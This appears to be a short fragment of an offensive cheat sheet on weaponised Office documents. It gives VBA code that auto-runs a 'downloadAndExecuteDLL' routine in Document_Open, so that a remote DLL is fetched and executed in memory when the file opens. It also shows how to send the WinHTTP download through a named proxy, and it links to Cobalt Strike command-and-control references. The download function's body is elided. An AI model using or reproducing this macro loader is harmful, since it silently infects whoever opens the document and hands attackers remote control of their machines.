To run it when document it opened, add:
Private Sub Document_Open()
downloadAndExecuteDLL
End Sub
To enable proxy, modify the download function from:
hSession = WinHttpOpen(StrPtr("VBA User Agent"), 0, 0, 0, 0)
To:
Const WINHTTP_ACCESS_TYPE_NAMED_PROXY As Long = 3
Function downloadDLLToMemory(url As String) As Byte()
...code...
hSession = WinHttpOpen(StrPtr("VBA User Agent"), WINHTTP_ACCESS_TYPE_NAMED_PROXY, StrPtr("127.0.0.1:8080"), 0, 0)
...code...
https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/ https://github.com/S1ckB0y1337/Cobalt-Strike-CheatSheet